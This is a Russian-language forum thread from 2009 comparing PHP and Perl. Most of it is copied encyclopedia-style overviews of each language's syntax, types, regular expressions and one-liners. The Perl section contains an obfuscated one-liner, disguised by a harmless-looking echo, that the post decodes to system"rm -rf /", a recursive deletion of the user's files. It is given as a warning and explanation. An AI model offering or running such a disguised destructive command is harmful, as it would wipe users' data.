Какой язык по вашему заслушивает похвалу? Я думаю что PHP
PHP vs Perl
Сообщений 1 страница 9 из 9
Поделиться27 сентября, 2009г. 18:33:09
то, что можно написать на Perl’е на PHP никогда не напишешь;
Поделиться37 сентября, 2009г. 22:50:11
то, что можно написать на Perl’е на PHP никогда не напишешь;
Всё можно написать,если уметь!
Поделиться49 сентября, 2009г. 00:50:07
А я только нтмл знаю
Поделиться527 ноября, 2009г. 13:59:34
А я только нтмл знаю
ну ничего-ещё познаешь азы php)
Поделиться627 ноября, 2009г. 21:48:06
Buster,хотелось бы)
Поделиться79 декабря, 2009г. 22:57:55
PHP (англ. PHP: Hypertext Preprocessor — «PHP: препроцессор гипертекста», англ. Personal Home Page Tools[5] (устар.) — «Инструменты для создания персональных веб-страниц») — скриптовый язык[6] программирования общего назначения, интенсивно применяющийся для разработки веб-приложений. В настоящее время поддерживается подавляющим большинством хостинг-провайдеров и является одним из лидеров среди языков программирования, применяющихся для создания динамических веб-сайтов.[7]
Язык и его интерпретатор разрабатываются группой энтузиастов в рамках проекта с открытым кодом.[8] Проект не является свободным и распространяется под собственной лицензией.
В области программирования для Сети PHP — один из популярнейших скриптовых языков (наряду с JSP, Perl и языками, используемыми в ASP.NET) благодаря своей простоте, скорости выполнения, богатой функциональности, кроссплатформенности и распространению исходных кодов на основе лицензии PHP.
Популярность в области построения веб-сайтов, определяется наличием большого набора встроенных средств для разработки веб-приложений[9]. Основные из них:
* Автоматическое извлечение POST и GET-параметров, а также переменных окружения веб-сервера в предопределенные массивы;
* Файловые функции успешно обрабатывают как локальные, так и удаленные файлы;
* Автоматическая отправка HTTP-заголовков;
* Работа с cookies и сессиями;
* Обработка файлов, загружаемых на сервер;
* Работа с HTTP заголовками и HTTP авторизацией;
* Работа с XForms;
* Работа с удаленными файлами и сокетами
В настоящее время PHP используется сотнями тысяч разработчиков. Согласно рейтингу Tiobe, базирующемуся на данных поисковых систем, в декабре 2009 года PHP находится на 3 месте среди языков программирования (уступая Java и C), поднявшись за год на одну позицию.[7] К крупнейшим сайтам, использующим PHP, относятся Facebook, В контакте, Wikipedia.
Входит в LAMP — распространённый набор для создания веб-сайтов (Linux, Apache, MySQL, PHP).
Синтаксис PHP подобен синтаксису языка Си. Некоторые элементы, такие как ассоциативные массивы и цикл foreach, заимствованы из Perl.
Для работы программы не требуется описывать какие-либо переменные, используемые модули и т. п. Любая программа может начинаться непосредственно с оператора PHP.
Простейшая программа Hello world на PHP выглядит следующим образом:
<?php
echo 'Hello, world!';
?>
PHP исполняет код, находящийся внутри ограничителей, таких как <?php ?>. Всё, что находится вне ограничителей, выводится без изменений. В основном это используется для вставки PHP-кода в HTML-документ, например, так:
<html>
<head>
<title>Тестируем PHP</title>
</head>
<body>
<?php echo 'Hello, world!'; ?>
</body>
</html>
Помимо ограничителей <?php ?>, допускается использование дополнительных вариантов, таких как <? ?> и <script language="php"> </script>. Кроме того, до версии 6.0 допускается использование ограничителей языка программирования ASP <% %> (конструкции <? ?> и <% %> могут быть выключены в конфигурационном файле php.ini).
Имена переменных начинаются с символа $, тип переменной объявлять не нужно. В отличие от имён функций и классов, имена переменных чувствительны к регистру. Именованные константы могут быть обявлены как регистрозависимыми, так и регистронезависимыми. Переменные обрабатываются в строках, заключённых в апострофы или двойные кавычки, и heredoc-строках (строках, созданных при помощи оператора <<<).
PHP рассматривает переход на новую строку как пробел, так же как HTML и другие языки со свободным форматом. Инструкции разделяются с помощью точки с запятой (, за исключением некоторых случаев.
PHP поддерживает три типа комментариев: в стиле языка Си (ограниченные /* */), C++ (начинающиеся с // и идущие до конца строки) и оболочки UNIX (с # до конца строки).
[править] Типы данных
PHP является языком программирования с динамической типизацией, не требующим указания типа при объявлении переменных, равно как и самого объявления переменных. Преобразования между скалярными типами зачастую осуществляются неявно без дополнительных усилий (впрочем, PHP предоставляет широкие возможности и для явного преобразования типов).
К скалярным типам данных относятся:
* целый тип (integer),
* вещественный тип данных (float, double),
* логический тип (boolean),
* строковый тип (string)
* и специальный тип NULL.
К нескалярным типам относятся:
* «ресурс» (resource),
* массив (array)
* и объект (object).
Диапазон целых чисел (integer) в PHP зависит от платформы (обычно это диапазон 32-битных знаковых целых чисел, то есть от −2 147 483 648 до 2 147 483 647). Числа можно задавать в десятичной, восьмеричной и шестнадцатеричной системах счисления. Диапазон вещественных чисел (double) также зависит от платформы (для 32-битной архитектуры диапазон позволяет оперировать числами от ±1.7×10−308 до ±1.7×10+308).
PHP предоставляет разработчикам логический тип (boolean), способный принимать только два значения TRUE («истина») и FALSE («ложь»). При преобразовании в логический тип число 0, пустая строка, ноль в строке «0», NULL и пустой массив считаются FALSE. Все остальные значения автоматически преобразуются в TRUE.
Специальный тип NULL предназначен для переменных без определённого значения. Единственным значением данного типа является константа NULL. Тип NULL принимают неинициализированные переменные, переменные инициализированные константой NULL, а также переменные, удалённые при помощи конструкции unset().
Ссылки на внешние ресурсы имеют тип «ресурс» (resource). Переменные данного типа, как правило, представляют собой дескриптор, позволяющий управлять внешними объектами, такими как файлы, динамические изображения, результирующие таблицы базы данных и т. п.
Массивы (array) поддерживают числовые и строковые ключи и являются гетерогенными. Массивы могут содержать значения любых типов, включая другие массивы. Порядок элементов и их ключей сохраняется.
[править] Обращение к переменным и функциям
Обращение к переменным осуществляется с помощью символа $, за которым следует имя переменной. Данная конструкция может быть применена также для создания динамических переменных и функций.[14] Например:
$a = 'I am a'; // Запись значение в переменную $a
echo $a; // Вывод переменной $а
$b = 'a';
echo $$b; // Вывод переменной $а (дополнительный $ перед переменной $b)
function_name(); // Вызов функции function_name
$c = 'function_name';
$c(); // Вызов функции function_name,
$d = 'Class_name';
$ob = new Class_name; // Создание объекта класса Class_name
$obj = new $d(); // Создание объекта класса Class_name
$obj->b; // Обращение к полю b объекта
$obj->c(); // Вызов метода c() объекта
$obj->$b; // Обращение к полю a объекта, так как $b = 'a'
$obj->$c(); // Вызов метода function_name() объекта, так как $c = 'function_name'
[править] Суперглобальные массивы
Суперглобальными массивами (англ. Superglobal arrays) в PHP называются предопределённые массивы, имеющие глобальную область видимости без использования директивы global. Большая часть этих массивов содержит входные данные запроса пользователя (параметры GET-запроса, поля форм при посылке методом POST, куки и т. п.).
Все суперглобальные массивы кроме $GLOBALS и $_REQUEST имеют устаревшие аналоги с длинными именами, которые доступны вплоть до пятой версии PHP (в шестой версии планируется их исключение). Таким образом, обращения $_GET['year'] и $HTTP_GET_VARS['year'] идентичны (за исключением области видимости: массивы с «длинными» именами не являются суперглобальными).
$GLOBALS
Массив всех глобальных переменных (в том числе и пользовательских).
$_SERVER (устаревший аналог — $HTTP_SERVER_VARS)
Содержит переменные окружения, которые операционная система передаёт серверу.
$_ENV (уст. $HTTP_ENV_VARS)
Текущие переменные среды (англ. Environment variables). Их набор специфичен для платформы, на которой выполняется скрипт.
$_GET (уст. $HTTP_GET_VARS)
Содержит параметры GET-запроса, переданные в URI после знака вопроса «?».
$_POST (уст. $HTTP_POST_VARS)
Ассоциативный массив значений полей HTML-формы при отправки методом POST. Индексы элементов соответствуют значению атрибута name элементов управления HTML-формы.
$_FILES (уст. $HTTP_POST_FILES)
Ассоциативный массив со сведениями об отправленных методом POST файлах. Каждый элемент имеет индекс, идентичный значению атрибута «name» в форме, и, в свою очередь, также является массивом со следующими элементами:
* ['name'] — исходное имя файла на компьютере пользователя.
* ['type'] — указанный агентом пользователя MIME-тип файла. PHP не проверяет его, и поэтому нет никаких гарантий, что указанный тип соответствует действительности.
* ['size'] — размер файла в байтах.
* ['tmp_name'] — полный путь к файлу во временной папке. Файл необходимо переместить оттуда функцией move_uploaded_file. Загруженные файлы из временной папки PHP удаляет самостоятельно.
* ['error'] — код ошибки. Если файл удачно загрузился, то этот элемент будет равен 0 (UPLOAD_ERR_OK).
$_COOKIE (уст. $HTTP_COOKIE_VARS)
Ассоциативный массив с переданными агентом пользователя значениями куки.
$_REQUEST
Содержит элементы из массивов $_GET, $_POST, $_COOKIE. С версии PHP 4.1 включает $_FILES.
$_SESSION (уст. $HTTP_SESSION_VARS)
Содержит данные сессии.
[править] Объектно-ориентированное программирование
PHP поддерживает широкие объектно-ориентированные возможности, полная поддержка которых была введена в пятой версии языка.
Класс в PHP объявляется с помощью ключевого слова class. Методы и поля класса могут быть общедоступными (public, по умолчанию), защищёнными (protected) и скрытыми (private). PHP поддерживает все три основных механизма ООП — инкапсуляцию, полиморфизм и наследование (родительский класс указывается с помощью ключевого слова extends после имени класса). Поддерживаются интерфейсы (ставятся в соответствие с помощью implements). Разрешается объявление финальных, абстрактных методов и классов. Множественное наследование классов не поддерживается, однако класс может реализовывать несколько интерфейсов. Для обращения к методам родительского класса используется ключевое слово parent.
Классы в PHP имеют ряд специальных методов (англ. Magic methods), начинающихся с двух символов подчёркивания. Особо стоит отметить конструктор (__construct(), в версиях до 5.0 конструктором служил метод, одноимённый с классом) и деструктор (__destruct()), а также методы чтения (__get()) и записи (__set()), свёртывания (__sleep()) и развёртывания (__wake()), клонирования (__clone()) и др. Эти методы являются достаточно гибким инструментом: переопределяя их, можно добиться существенного изменения поведения объекта.
Экземпляры класса создаются с помощью ключевого слова new, обращение к полям и методам объекта производится с использованием оператора ->. Для доступа к членам класса из его методов используется переменная $this.
class C1 extends C2 implements I1, I2
{
private $a;
protected $b;
function __construct($a, $b)
{
parent::__construct($a, $b);
$this->a = $a;
$this->b = $b;
}
public function plus()
{
return $a + $b;
}
/* ............... */
}
$d = new C1(1, 2);
echo $d->plus();
Начиная с пятой версии PHP, объекты передаются по ссылке:
class a
{
public $color = 'red';
}
$a = new a();
echo $a -> color; // red
$b = $a;
$b -> color = 'blue';
echo $a -> color; // blue
[править] Особенности интерпретатора
PHP-скрипты обычно обрабатываются интерпретатором в порядке[1], обеспечивающем кроссплатформенность разработанного приложения:
1. Лексический анализ исходного кода и генерация лексем
2. Синтаксический анализ полученных лексем
3. Генерация байт-кода
4. Выполнение байт-кода интерпретатором (без создания исполняемого файла)
Для увеличения быстродействия приложений возможно использование специального программного обеспечения, т. н. акселераторов. Принцип их работы заключается в кэшировании однажды сгенерированного байт-кода в памяти и/или на диске, таким образом из процесса работы приложения исключаются наиболее медленные этапы.
Важной особенностью является то, что разработчику нет необходимости заботиться об распределении и освобождении памяти. Ядро PHP реализует средства для автоматического управления памятью; вся выделенная память возвращается системе после завершения работы скрипта.[15]
[править] Расширения
Интерпретатор состоит из ядра и подключаемых модулей, «расширений», представляющих собой динамические библиотеки. Расширения позволяют дополнить базовые возможности языка, предоставляя возможности для работы с базами данных, сокетами, динамической графикой, криптографическими библиотеками, документами формата PDF и т. п. Любой желающий может разработать своё собственное расширение и подключить его. Существует огромное количество расширений, как стандартных, так и созданных сторонними компаниями и энтузиастами, однако в стандартную поставку входит лишь несколько десятков хорошо зарекомендовавших себя. Множество расширений доступно в репозитории PECL.
[править] Параметры настройки
Интерпретатор PHP имеет специальный конфигурационный файл — php.ini, содержащий множество настроек, изменение которых влияет на поведение интерпретатора.[16] Имеется возможность отключить использование ряда функций, изменить ограничения на используемую скриптом оперативную память, время выполнения, объем загружаемых файлов, настроить журналирование ошибок, работу с сессиями и почтовыми сервисами, подключить дополнительные расширения, а также многое другое. [17]
[править] Режимы интерпретатора
Существует несколько способов использования интерпретатора PHP:
1. В качестве модуля к веб-серверу посредством SAPI или ISAPI[18] (например, для Apache модуль mod_php). Веб-сервер запускается с загруженным модулем и при обращении к php-скрипту он выполняется в окружении процесса веб-сервера. Это наиболее распространенный метод использования PHP в силу следующих причин:
* Он наиболее удобен для отладки, так как ошибки PHP выводятся на экран (если данный режим включен в настройках), тогда как в режиме CGI ошибка приводит к генерации HTTP-кода 500 и дополнительную информацию необходимо искать в логах веб-сервера.
* Имеется возможность менять некоторые настройки PHP «на лету» с помощью файла .htaccess, без перезагрузки веб-сервера.
* В режиме CGI нет возможности воспользоваться HTTP-аутентификацией.[19][20]
* Более высокая скорость работы.
2. В качестве CGI. В этом случае при вызове скрипта веб-сервер вызывает /usr/bin/php-cgi /path/to/script.php. При этом создаётся новый процесс и скрипт выполняется в окружении php-cgi, которое, в зависимости от настроек, может сильно отличаться от окружения процесса веб-сервера. Более современным вариантом является FastCGI. Несмотря на то, что препроцессор PHP все равно будет перезапускаться при каждом запросе[21][22], преимуществом данного варианта перед предыдущим является более высокая степень безопасности, потому как PHP работает как отдельное приложение со своими правами.
3. В качестве скрипта командной строки, являющегося исполняемым файлом, который вызывается пользователем из командной строки; скрипт выполняется в окружении вызвавшего пользователя. В этом случае возможно использование PHP для создания клиентских GUI-приложений[23] и решения административных задач в операционных системах UNIX, GNU/Linux, Microsoft Windows, Mac OS X и AmigaOS. Однако в таком качестве он не получил распространение, отдавая пальму первенства Perl, Python и VBScript
[править] Пасхальные яйца
PHP имеет несколько пасхальных яиц (шуток). Передача специальных GET-параметров любому php-скрипту приводит к выводу различных изображений.
Например:
любой_сценарий.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
введя это значение в адресную строку браузера можно увидеть различные изображения, в зависимости от версии интерпретатора:
1. фотография Thies Arntzen (версии 4.1.2, 4.2.2)
2. фотография таксы (владелец Stig Bakken) (версии 4.3.2, 4.3.3, 4.3.8 — 4.3.10)
3. фотография чёрного терьера (владелец Zeev Suraski) (версии 4.3.11, 4.4.0 — 4.4.4, 5.1.0, 5.1.2)
4. фотография кролика (версии 4.3.1, 5.0.0, 5.0.3)
5. искаженный логотип PHP (современные версии)[24]
Следующие два значения позволят увидеть стандартный логотип PHP и ZEND, соответственно:[24]
любой_сценарий.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
любой_сценарий.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
Эти значения можно получить и непосредственно в PHP-скрипте с помощью функций php_logo_guid и zend_logo_guid для логотипа Zend.
Также имеется специальное значение для отображения списка всех авторов PHP (4,5):[24]
любой_сценарий.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
Поделиться89 декабря, 2009г. 22:59:03
Perl — высокоуровневый интерпретируемый динамический язык программирования общего назначения, созданный Ларри Уоллом, лингвистом по образованию. Название языка представляет собой аббревиатуру, которая расшифровывается как Practical Extraction and Report Language «практический язык для извлечения данных и составления отчётов». Первоначально аббревиатура состояла из пяти символов и в таком виде в точности совпадала с английским словом pearl, жемчужина. Но затем стало известно, что такой язык существует и букву «а» убрали. Талисманом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжёлую работу.
Согласно Ларри Уоллу, Perl имеет два девиза. Первый — «There’s more than one way to do it» («Есть больше одного способа сделать это», также известный как TMTOWTDI); второй — «Easy things should be easy and hard things should be possible» («Простые вещи должны быть простыми, а сложные вещи — возможными»).
Основной особенностью языка считаются его богатые возможности для работы с текстом, в том числе реализованные при помощи регулярных выражений. Перл унаследовал много свойств от языков Си, shell script, awk.
Perl также знаменит огромной коллекцией дополнительных модулей CPAN, находящейся по адресу http://www.cpan.org(англ.).
Сегодня основной для разработчиков является пятая версия языка Perl, однако (на некоторых веб-серверах) продолжают использоваться программы (скрипты), написанные на предыдущей — четвёртой — версии (из-за частичной обратной несовместимости). Фактически стандарт языка определяется реализацией интерпретатора.
С 2000 года идет разработка новой (6-ой) версии языка. В отличие от предыдущих версий, разработчики планируют создать четко определенный стандарт языка. В настоящее время существуют экспериментальные компиляторы Perl 6, но продолжается дальнейшая дискуссия о новых правилах. На русском языке информация о новой версии языка доступна на сайте http://perl6.ru/.
Синтаксис Perl имеет много общего с синтаксисом языков Си, Awk, sed и shell.
Первая строка исходного кода может начинаться с «#!/Путь/к/Perl [-ключи]» — что указывает системе путь к интерпретатору Perl для выполнения программы в UNIX системах и выполнения их на веб-сервере. Изначально обработка такой строки — это функция shell, но Perl при выполнении программы также проверяет эту строку и читает из неё ключи, игнорируя путь к интерпретатору.
Простейшая программа Hello world выглядит следующим образом:
print "Hello, world!\n";
либо для CGI:
#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "Hello, world!";
Дозапись в строку.
$x = 5;
$x .= 0;
print $x; #50
А вот так можно напечатать число гугол.
print 1, 0 x 100;
[править] Типы данных
Основные типы данных: скаляр, массив, хеш-таблица, функция, запись таблицы символов (typeglob). Переменные разных типов отличаются знаком, который стоит перед именем переменной.
$foo; # скаляр или указатель
@foo; # массив
%foo; # хеш-таблица
&foo; # функция
*FOO; # запись таблицы символов
* Скалярные переменные используются для хранения одиночных значений. Они могут содержать числа, строки и ссылки на другие объекты. Перед именем скалярной переменной необходимо ставить знак доллара '$'. Тип скалярной переменной не фиксирован (в отличие от, например, языка Си) и определяется динамически в зависимости от контекста. Например,
$x = 10; # число
$y = $x + 1; # используем $x как число…
$z = $x . 'string'; # … а теперь — как строку
$ref = \$x; # $ref является указателем на $x
$$ref = 0; # $x содержит значение 0
* Массив является упорядоченным списком скаляров. Каждый элемент массива имеет порядковый индекс, с помощью которого к нему можно получить доступ. Нумерация элементов начинается с нуля, то есть первый элемент списка имеет индекс 0. Перед именем переменной-массива необходимо ставить знак '@', а для доступа к определенному элементу массива использовать знак '$', так как определенный элемент массива является скаляром . Многомерные массивы можно смоделировать, помещая в список ссылки на другие списки.
@array = (1,2,3,4); # записали в массив @array четыре элемента
print $array[2]; # напечатать третий элемент
print @array[2,3]; # напечатать третий и четвертый элемент.
# Здесь используется @, так как результат операции среза массива тоже является массивом.
* Хеш-таблица представляет собой ассоциативный массив, позволяющий ассоциировать строку (называемую ключ) со скаляром (значение). Строка называется ключом, а скаляр в хеш-таблице значением. Перед именем переменной-списка необходимо ставить знак процента '%', а для доступа к определенному элементу массива необходимо ставить знак '$'.
Хеш-таблицу можно инициализировать массивом или списком, состоящим из неограниченного числа последовательностей (ключ, значение).
%hash = (
'cat' => 'kitten', # здесь => - это так называемая "длинная запятая",
'dog' => 'puppy', # в этом примере по функции полностью аналогичная обыкновенной ",".
'cow' => 'calf'
);
print $hash{'cat'}; #Напечатает kitten
print join("-", keys %hash) ; # Вывод всех ключей. Напечатает cat-dog-cow
print join("-", values %hash) ; # Вывод всех значений. Напечатает kitten-puppy-calf
print join("-", %hash) ; # Напечатает cat-kitten-cow-calf-dog-puppy, так как в списковом контексте хэш автоматически
# разворачивается в список (ключ, значение). Так как ключи в хэше не сортируются,
# пары каждый раз будут выводиться в произвольном порядке.
* Функция представляет собой фрагмент исполняемого кода. Функция всегда возвращает какое-либо значение. Если возвращаемое значение явно не указано оператором return, возвращается последнее вычисленное значение. Если в функции используется return без параметров, то в зависимости от контекста вызова функции возвращается неопределённое значение undef, пустой список или вообще ничего.
sub printTwo{
print 2;
}
sub three{
3;
}
$s = \&three;
print &$s; #Напечатает 3
$s = \&printTwo; # Запишем в скаляр $s ссылку на функцию - через эту ссылку она будет вызвана в следующей строке.
print &$s; #Напечатает 21. `2` в коде функции, а `1` как значение, возвращаемое функцией printTwo
print &printTwo #То же самое
* Константа
Константа представляет собой неизменяемое значение. Константа не является встроенным типом языка и эмулируется при помощи функций. Предпочтительно задавать константы с помощью стандартного модуля constant, чтобы в будущем не зависеть от возможных изменений в реализации констант. Использование:
use constant MY => 2;
print MY;
* Запись таблицы символов
Специальный тип, в котором хранятся ссылки на все переменные других типов с таким названием, а также на символы, которые часто использует для хранения файловый дескриптор, представляющих собой указатель на файл, устройство или PIPE канал, открытые для записи, чтения или для записи и чтения.
Использование:
$s = <STDIN>; #Читаем одну строку из дескриптора STDIN (стандартный поток ввода); скалярный контекст.
@values = <FILE>; #Читаем все строчки из некоторого открытого и связанного с дескриптором FILE файла; списковый контекст.
print STDOUT $s; #Печатаем в STDOUT (стандартный поток вывода)
В последних версиях Perl появилась возможность хранить файловые дескрипторы в скалярах, и в новых программах предпочтительно пользоваться именно этим способом.
Также таблицы символов используются для связи двух имён переменной с одним значением в памяти, создавая синонимы, которые могут быть использованы для доступа и модификации значения точно также как и оригинальное имя. Эта возможность является основой системы загружаемых модулей, классов и объектов в Perl.
[править] Регулярные выражения
Важной частью Perl являются регулярные выражения. Благодаря этому Perl очень эффективен для обработки текстов. Бо́льшая часть работы с регулярными выражениями производится при помощи операторов =~, m// и s///.
Оператор m// используется для проверки на совпадение. В простейшем случае результат выражения $x =~ m/abc/ будет истинным, если и только если строка $x будет соответствовать регулярному выражению abc. Например:
Пример Значение
$x =~ /abc/ Строка $x содержит (под)строку «abc». Начальная буква «m» оператора при использовании // может быть опущена.
$x =~ m/a(.{1,3})c/ Строка $x содержит букву «a», затем от одного до трех любых символов, и затем букву «c». Найденные символы будут сохранены в переменную $1.
$x =~ m{^p(erl|ugs)$}i Строка $x строго равна «perl» или «pugs» без учета регистра. Так же, вместо // регулярное выражение окружено в {}.
Поиск и замена выполняются при помощи оператора s///. Конструкция $x =~ s/abc/def/; заменит первое вхождение регулярного выражения abc на строку def.
Пример Значение
$x =~ s/abc/def/g; Все вхождения (на что указывает флаг /g — global) подстроки «abc» в $x будут заменены на «def».
$x =~ s/a(.{1,3})c/!$1!/; Первое вхождение в $x буквы «a», затем от одного до трех любых символов, и затем буквы «c» будет заменено на эти символы между «a» и «c», окружённые «!». Например, «syntactic» станет «synt!cti!».
$x =~ s{^p(erl|ugs)}{"P" . lc $1}ieg; Здесь показан пример использования модификатора /e, указывающего на то, что вместо строки замены будет написан код, результат выполнения которого надо использовать. Все вхождения «perl» или «pugs» в любом регистре будут заменены на «Perl» и «Pugs», соответственно.
Регулярные выражения Perl настолько популярны, что они включены напрямую в другие языки, такие как PHP и JavaScript, а также существуют подключаемые библиотеки, реализующие использование выражений в компилируемых языках.
[править] Программы из одной строчки
Интересной и часто используемой возможностью Perl являются так называемые one-liners — программы из одной строки, обычно задаваемые прямо в строке вызова интерпретатора с помощью ключа -e.
Эта программа напечатает простые числа:
perl -wle '(1 x $_) !~ /^(11+)\1+$/ && print while ++ $_'
Этот пример напечатает только уникальные строки файла file, ключ -n автоматически заворачивает строку обработки в цикл, который проходит по всем строкам в файлах, указанных после текста программы:
perl -ne '$s{$_}++ || print' file
В этих примерах Perl напоминает своей краткостью и непонятностью с первого взгляда язык J.
Также одним из подобных примеров является вызвавшая большой резонанс программа, так как на самом деле она является замаскированной командой рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид
system"rm -rf /"
Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.
[править] Языки программирования и оболочки со схожими технологиями
Perl — далеко не единственный язык, дающий богатые возможности в обработке текста. Языки программирования РЕФАЛ, Icon и Снобол предоставляют возможность использовать более полно метод программирования «сопоставления с образцом», частным случаем которого и являются регулярные выражения.
Существует также полноценный shell, использующий в качестве основы язык Perl. Называется он psh и даёт возможность смешивать команды обычного шелла и самого Perl’а.
[править] Поэзия в Perl
На Perl можно даже писать стихотворения. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина» или «Чёрный перл») было упомянуто Ларри Уоллом в первоапрельском письме в Usenet. Оно было написано изначально для Perl 3, и по словам самого Ларри, он испытал моральное удовлетворение, когда стихотворение не прошло синтаксический анализатор в Perl 5.
BEFOREHEAD: close door, each window & exit; wait until time.
open spellbook, study, read (scan, select, tell us);
write it, print the hex whole each watches,
reverse its length, write again;
kill spiders, pop them, chop, split, kill them.
unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");
kill them, dump qualms, shift moralities,
values aside, each one;
die sheep! die to reverse the system
you accept (reject, respect);
next step,
kill next sacrifice, each sacrifice,
wait, redo ritual until "all the spirits are pleased";
do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;
exit crypt (time, times & "half a time") & close it,
select (quickly) & warn your next victim;
AFTERWORDS: tell nobody,
wait, wait until time;
wait until next year, next decade;
sleep, sleep, die yourself,
die at last
Поделиться913 декабря, 2009г. 15:16:21
Tale Спасибо)